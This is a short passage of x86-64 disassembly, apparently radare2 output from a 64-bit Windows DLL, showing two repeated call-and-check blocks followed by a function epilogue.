mov rcx, qword [0x18002c508]
mov r9d, edi
mov r8, rsi
call fcn.180011404
mov qword [rbp + 0x20], rax
test rax, rax
je 0x180008676
mov rcx, rax
call fcn.180009acc
lea rcx, [rbp + 0x20]
xor edx, edx
call fcn.18001163c
mov edx, dword [0x18002c520]
mov rcx, qword [0x18002c518]
mov r9d, edi
mov r8, rsi
call fcn.180011404
mov qword [rbp + 0x20], rax
test rax, rax
je 0x1800086aa
mov rcx, rax
call fcn.180009acc
lea rcx, [rbp + 0x20]
xor edx, edx
call fcn.18001163c
mov rcx, qword [0x180027978]
call fcn.18000c9ac
mov eax, edi
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret